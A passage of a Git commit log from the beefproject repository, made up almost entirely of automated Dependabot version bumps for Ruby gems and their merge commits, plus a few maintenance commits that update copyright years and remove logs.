- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-07 14:21:54 +00:00
github-actions[bot]
a4d250b7aa Merge pull request #3318 from beefproject/dependabot/bundler/selenium-webdriver-4.31.0
Bump selenium-webdriver from 4.30.1 to 4.31.0
2025-04-07 14:20:38 +00:00
dependabot[bot]
0e027c2118 Bump selenium-webdriver from 4.30.1 to 4.31.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.30.1 to 4.31.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.31.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.31.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-07 14:18:06 +00:00
github-actions[bot]
da3bad2414 Merge pull request #3317 from beefproject/dependabot/bundler/maxmind-db-1.3.2
Bump maxmind-db from 1.2.0 to 1.3.2
2025-04-04 13:42:13 +00:00
dependabot[bot]
a9992ec90b Bump maxmind-db from 1.2.0 to 1.3.2
Bumps [maxmind-db](https://github.com/maxmind/MaxMind-DB-Reader-ruby) from 1.2.0 to 1.3.2.
- [Release notes](https://github.com/maxmind/MaxMind-DB-Reader-ruby/releases)
- [Changelog](https://github.com/maxmind/MaxMind-DB-Reader-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/maxmind/MaxMind-DB-Reader-ruby/compare/v1.2.0...v1.3.2)

---
updated-dependencies:
- dependency-name: maxmind-db
  dependency-version: 1.3.2
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-04 13:39:29 +00:00
github-actions[bot]
0dabe85c82 Merge pull request #3311 from beefproject/dependabot/bundler/pry-byebug-3.11.0
Bump pry-byebug from 3.10.1 to 3.11.0
2025-04-03 13:32:27 +00:00
dependabot[bot]
1f440800c4 Bump pry-byebug from 3.10.1 to 3.11.0
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.10.1 to 3.11.0.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.10.1...v3.11.0)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-03 13:29:58 +00:00
github-actions[bot]
0da3f9a8e9 Merge pull request #3314 from beefproject/dependabot/bundler/irb-1.15.2
Bump irb from 1.15.1 to 1.15.2
2025-04-03 13:28:56 +00:00
dependabot[bot]
bd70331a1e Bump irb from 1.15.1 to 1.15.2
Bumps [irb](https://github.com/ruby/irb) from 1.15.1 to 1.15.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.15.1...v1.15.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.15.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-03 13:26:34 +00:00
github-actions[bot]
7595407e44 Merge pull request #3315 from beefproject/dependabot/bundler/rubocop-1.75.2
Bump rubocop from 1.75.1 to 1.75.2
2025-04-03 13:25:29 +00:00
dependabot[bot]
6b1b1f6abd Bump rubocop from 1.75.1 to 1.75.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.1 to 1.75.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.1...v1.75.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.75.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-03 13:23:02 +00:00
github-actions[bot]
62f90749f7 Merge pull request #3309 from beefproject/dependabot/bundler/mime-types-3.6.2
Bump mime-types from 3.6.1 to 3.6.2
2025-03-27 13:45:43 +00:00
dependabot[bot]
1f222bdffa Bump mime-types from 3.6.1 to 3.6.2
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.6.1 to 3.6.2.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.6.1...v3.6.2)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:43:13 +00:00
github-actions[bot]
ac779f46af Merge pull request #3307 from beefproject/dependabot/bundler/rdoc-6.13.0
Bump rdoc from 6.12.0 to 6.13.0
2025-03-27 13:42:09 +00:00
dependabot[bot]
536553b065 Bump rdoc from 6.12.0 to 6.13.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.12.0 to 6.13.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.12.0...v6.13.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:38:31 +00:00
github-actions[bot]
caca750e12 Merge pull request #3308 from beefproject/dependabot/bundler/selenium-webdriver-4.30.1
Bump selenium-webdriver from 4.29.1 to 4.30.1
2025-03-27 13:37:29 +00:00
dependabot[bot]
44f480c496 Bump selenium-webdriver from 4.29.1 to 4.30.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.29.1 to 4.30.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:34:53 +00:00
github-actions[bot]
89354083ae Merge pull request #3310 from beefproject/dependabot/bundler/rubocop-1.75.1
Bump rubocop from 1.74.0 to 1.75.1
2025-03-27 13:33:49 +00:00
dependabot[bot]
f3d9c6fb36 Bump rubocop from 1.74.0 to 1.75.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.74.0 to 1.75.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.74.0...v1.75.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:30:13 +00:00
github-actions[bot]
98e8fef8e6 Merge pull request #3306 from beefproject/dependabot/bundler/nokogiri-1.18.4
Bump nokogiri from 1.18.3 to 1.18.4
2025-03-21 23:59:15 +00:00
dependabot[bot]
ee8cb21d68 Bump nokogiri from 1.18.3 to 1.18.4
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.3 to 1.18.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.3...v1.18.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-21 23:56:43 +00:00
github-actions[bot]
f919039621 Merge pull request #3304 from beefproject/dependabot/bundler/mime-types-3.6.1
Bump mime-types from 3.6.0 to 3.6.1
2025-03-18 13:30:00 +00:00
dependabot[bot]
822b2c1ec6 Bump mime-types from 3.6.0 to 3.6.1
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.6.0 to 3.6.1.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.6.0...v3.6.1)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-18 13:27:36 +00:00
github-actions[bot]
e8890c0dab Merge pull request #3299 from beefproject/dependabot/bundler/json-2.10.2
Bump json from 2.10.1 to 2.10.2
2025-03-13 14:03:06 +00:00
dependabot[bot]
978a397b3a Bump json from 2.10.1 to 2.10.2
Bumps [json](https://github.com/ruby/json) from 2.10.1 to 2.10.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.10.1...v2.10.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-13 14:00:30 +00:00
github-actions[bot]
212dc24d01 Merge pull request #3301 from beefproject/dependabot/bundler/rubocop-1.74.0
Bump rubocop from 1.72.2 to 1.74.0
2025-03-13 13:59:25 +00:00
dependabot[bot]
353a8e66c6 Bump rubocop from 1.72.2 to 1.74.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.72.2 to 1.74.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.72.2...v1.74.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-13 13:56:57 +00:00
github-actions[bot]
5922a54efd Merge pull request #3289 from beefproject/dependabot/bundler/sqlite3-2.6.0
Bump sqlite3 from 2.5.0 to 2.6.0
2025-03-11 02:55:37 +00:00
dependabot[bot]
738fd47580 Bump sqlite3 from 2.5.0 to 2.6.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.5.0 to 2.6.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.5.0...v2.6.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:53:17 +00:00
github-actions[bot]
3432d7ed63 Merge pull request #3291 from beefproject/dependabot/bundler/selenium-webdriver-4.29.1
Bump selenium-webdriver from 4.28.0 to 4.29.1
2025-03-11 02:52:11 +00:00
dependabot[bot]
84d1acc6b4 Bump selenium-webdriver from 4.28.0 to 4.29.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.28.0 to 4.29.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:49:20 +00:00
github-actions[bot]
405151f33a Merge pull request #3282 from beefproject/dependabot/bundler/curb-1.0.9
Bump curb from 1.0.6 to 1.0.9
2025-03-11 02:48:13 +00:00
dependabot[bot]
c8b0a1ac69 Bump curb from 1.0.6 to 1.0.9
Bumps [curb](https://github.com/taf2/curb) from 1.0.6 to 1.0.9.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:45:46 +00:00
github-actions[bot]
de51ade953 Merge pull request #3298 from beefproject/dependabot/bundler/rack-2.2.13
Bump rack from 2.2.11 to 2.2.13
2025-03-11 02:44:43 +00:00
dependabot[bot]
5372e350c0 Bump rack from 2.2.11 to 2.2.13
Bumps [rack](https://github.com/rack/rack) from 2.2.11 to 2.2.13.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.11...v2.2.13)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:42:10 +00:00
github-actions[bot]
cd70ba15c6 Merge pull request #3286 from beefproject/dependabot/bundler/nokogiri-1.18.3
Bump nokogiri from 1.17.2 to 1.18.3
2025-02-19 13:01:36 +00:00
dependabot[bot]
1c6962e45a Bump nokogiri from 1.17.2 to 1.18.3
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.17.2 to 1.18.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.18.3/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.17.2...v1.18.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-19 12:58:29 +00:00
github-actions[bot]
049134b2d0 Merge pull request #3284 from beefproject/dependabot/bundler/rubocop-1.72.2
Bump rubocop from 1.71.2 to 1.72.2
2025-02-18 13:38:23 +00:00
dependabot[bot]
d827ca86e5 Bump rubocop from 1.71.2 to 1.72.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.71.2 to 1.72.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.71.2...v1.72.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-18 13:35:49 +00:00
github-actions[bot]
1cdc6bc86c Merge pull request #3281 from beefproject/dependabot/bundler/async-dns-1.4.1
Bump async-dns from 1.3.0 to 1.4.1
2025-02-17 13:37:26 +00:00
dependabot[bot]
828ab302f4 Bump async-dns from 1.3.0 to 1.4.1
Bumps [async-dns](https://github.com/socketry/async-dns) from 1.3.0 to 1.4.1.
- [Changelog](https://github.com/socketry/async-dns/blob/main/release.cert)
- [Commits](https://github.com/socketry/async-dns/compare/v1.3.0...v1.4.1)

---
updated-dependencies:
- dependency-name: async-dns
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-17 13:34:50 +00:00
github-actions[bot]
d52c37f3e4 Merge pull request #3274 from beefproject/dependabot/bundler/rubocop-1.71.2
Bump rubocop from 1.71.0 to 1.71.2
2025-02-12 13:53:23 +00:00
dependabot[bot]
8eecff3b18 Bump rubocop from 1.71.0 to 1.71.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.71.0 to 1.71.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.71.0...v1.71.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-12 13:51:03 +00:00
github-actions[bot]
ff9442b187 Merge pull request #3280 from beefproject/dependabot/bundler/rack-2.2.11
Bump rack from 2.2.10 to 2.2.11
2025-02-12 13:49:54 +00:00
dependabot[bot]
5b9187e7d4 Bump rack from 2.2.10 to 2.2.11
Bumps [rack](https://github.com/rack/rack) from 2.2.10 to 2.2.11.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.10...v2.2.11)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-12 13:47:31 +00:00
github-actions[bot]
192d082824 Merge pull request #3275 from beefproject/dependabot/bundler/net-smtp-0.5.1
Bump net-smtp from 0.5.0 to 0.5.1
2025-02-11 13:19:49 +00:00
dependabot[bot]
d1e9c2165f Bump net-smtp from 0.5.0 to 0.5.1
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.5.0 to 0.5.1.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.5.0...v0.5.1)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-11 13:17:09 +00:00
github-actions[bot]
4bc6185e76 Merge pull request #3276 from beefproject/dependabot/bundler/rdoc-6.12.0
Bump rdoc from 6.11.0 to 6.12.0
2025-02-11 13:16:05 +00:00
dependabot[bot]
78b905a329 Bump rdoc from 6.11.0 to 6.12.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.11.0 to 6.12.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.11.0...v6.12.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-11 13:13:36 +00:00
github-actions[bot]
2a60191d1d Merge pull request #3279 from beefproject/dependabot/bundler/json-2.10.1
Bump json from 2.9.1 to 2.10.1
2025-02-11 13:12:30 +00:00
dependabot[bot]
a094a9282c Bump json from 2.9.1 to 2.10.1
Bumps [json](https://github.com/ruby/json) from 2.9.1 to 2.10.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.9.1...v2.10.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-11 13:09:55 +00:00
github-actions[bot]
3398480019 Merge pull request #3267 from beefproject/dependabot/bundler/rubocop-1.71.0
Bump rubocop from 1.70.0 to 1.71.0
2025-01-23 13:55:13 +00:00
dependabot[bot]
31fd931e29 Bump rubocop from 1.70.0 to 1.71.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.70.0 to 1.71.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.70.0...v1.71.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-23 13:52:49 +00:00
github-actions[bot]
6beca7c7cf Merge pull request #3266 from beefproject/dependabot/bundler/irb-1.15.1
Bump irb from 1.14.3 to 1.15.1
2025-01-22 13:50:30 +00:00
dependabot[bot]
53dfff40f2 Bump irb from 1.14.3 to 1.15.1
Bumps [irb](https://github.com/ruby/irb) from 1.14.3 to 1.15.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.14.3...v1.15.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-22 13:47:56 +00:00
github-actions[bot]
7ea8c597b8 Merge pull request #3265 from beefproject/dependabot/bundler/selenium-webdriver-4.28.0
Bump selenium-webdriver from 4.27.0 to 4.28.0
2025-01-21 13:36:08 +00:00
dependabot[bot]
aabb1a28d6 Bump selenium-webdriver from 4.27.0 to 4.28.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.27.0 to 4.28.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.27.0...selenium-4.28.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-21 13:33:00 +00:00
zinduolis
2d63418b91 Merge pull request #3264 from zinduolis/remove_2024_logs
Remove maintenance logs
2025-01-21 15:10:24 +10:00
zinduolis
9127df1709 Remove maintenance logs 2025-01-21 14:13:43 +10:00
github-actions[bot]
76279725a2 Merge pull request #3257 from beefproject/dependabot/bundler/rubocop-1.70.0
Bump rubocop from 1.69.2 to 1.70.0
2025-01-16 13:24:58 +00:00
dependabot[bot]
9dee3f8f96 Bump rubocop from 1.69.2 to 1.70.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.69.2 to 1.70.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.69.2...v1.70.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-16 13:22:24 +00:00
github-actions[bot]
dbff2155d0 Merge pull request #3259 from beefproject/dependabot/bundler/rdoc-6.11.0
Bump rdoc from 6.10.0 to 6.11.0
2025-01-16 13:21:16 +00:00
dependabot[bot]
f2f52bd399 Bump rdoc from 6.10.0 to 6.11.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.10.0 to 6.11.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.10.0...v6.11.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-16 13:18:33 +00:00
github-actions[bot]
bc3a934aa2 Merge pull request #3256 from beefproject/dependabot/bundler/rubyzip-2.4.1
Bump rubyzip from 2.3.2 to 2.4.1
2025-01-06 13:53:37 +00:00
dependabot[bot]
1380dc6df0 Bump rubyzip from 2.3.2 to 2.4.1
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 2.3.2 to 2.4.1.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/master/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v2.3.2...v2.4.1)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-06 13:51:23 +00:00
github-actions[bot]
2b04f634aa Merge pull request #3252 from beefproject/dependabot/bundler/sqlite3-2.5.0
Bump sqlite3 from 2.4.1 to 2.5.0
2024-12-26 13:21:18 +00:00
dependabot[bot]
3d60727af5 Bump sqlite3 from 2.4.1 to 2.5.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.4.1 to 2.5.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.4.1...v2.5.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-26 13:18:52 +00:00
zinduolis
1c1e1adc7f Merge pull request #3251 from zinduolis/update_copyright_to_2025
Update copyright in rb, js, yaml, html, md, txt, css, c, nasm, java, php and as files
2024-12-26 14:33:07 +10:00
zinduolis
b5b192591b Second round of Copyright date update 2024-12-25 12:43:13 +10:00
zinduolis
101020ffa0 Update copyright in rb, js and jsdocs 2024-12-25 11:40:55 +10:00
github-actions[bot]
30236edc33 Merge pull request #3242 from beefproject/dependabot/bundler/otr-activerecord-2.5.0
Bump otr-activerecord from 2.4.0 to 2.5.0
2024-12-22 23:43:25 +00:00
dependabot[bot]
edfe6dadf6 Bump otr-activerecord from 2.4.0 to 2.5.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.4.0 to 2.5.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.4.0...v2.5.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:41:07 +00:00
github-actions[bot]
de16310935 Merge pull request #3246 from beefproject/dependabot/bundler/irb-1.14.3
Bump irb from 1.14.1 to 1.14.3
2024-12-22 23:40:07 +00:00
dependabot[bot]
6c588ef63f Bump irb from 1.14.1 to 1.14.3
Bumps [irb](https://github.com/ruby/irb) from 1.14.1 to 1.14.3.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.14.1...v1.14.3)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:37:52 +00:00
github-actions[bot]
8915c2f4ac Merge pull request #3240 from beefproject/dependabot/bundler/rubocop-1.69.2
Bump rubocop from 1.68.0 to 1.69.2
2024-12-22 23:36:51 +00:00
dependabot[bot]
05c1ffb654 Bump rubocop from 1.68.0 to 1.69.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.68.0 to 1.69.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.68.0...v1.69.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:34:42 +00:00
github-actions[bot]
68f943ea8d Merge pull request #3239 from beefproject/dependabot/bundler/activerecord-7.2.2.1
Bump activerecord from 7.2.2 to 7.2.2.1
2024-12-22 23:33:43 +00:00
dependabot[bot]
2290953595 Bump activerecord from 7.2.2 to 7.2.2.1
Bumps [activerecord](https://github.com/rails/rails) from 7.2.2 to 7.2.2.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.0.0.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.2.2...v7.2.2.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:31:31 +00:00
github-actions[bot]
e1e381ea12 Merge pull request #3245 from beefproject/dependabot/bundler/rdoc-6.10.0
Bump rdoc from 6.8.1 to 6.10.0
2024-12-22 23:30:28 +00:00
dependabot[bot]
cab8b8ddf4 Bump rdoc from 6.8.1 to 6.10.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.8.1 to 6.10.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.8.1...v6.10.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:28:12 +00:00
github-actions[bot]
e0f0402699 Merge pull request #3238 from beefproject/dependabot/bundler/sqlite3-2.4.1
Bump sqlite3 from 2.2.0 to 2.4.1
2024-12-22 23:27:10 +00:00
dependabot[bot]
7e1305f7d9 Bump sqlite3 from 2.2.0 to 2.4.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.2.0 to 2.4.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.2.0...v2.4.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:24:58 +00:00
github-actions[bot]
800dabbba7 Merge pull request #3247 from beefproject/dependabot/bundler/json-2.9.1
Bump json from 2.8.2 to 2.9.1
2024-12-22 23:23:59 +00:00
dependabot[bot]
d56e18a991 Bump json from 2.8.2 to 2.9.1
Bumps [json](https://github.com/ruby/json) from 2.8.2 to 2.9.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.8.2...v2.9.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:21:40 +00:00
github-actions[bot]
834dbefd7f Merge pull request #3234 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.1.1
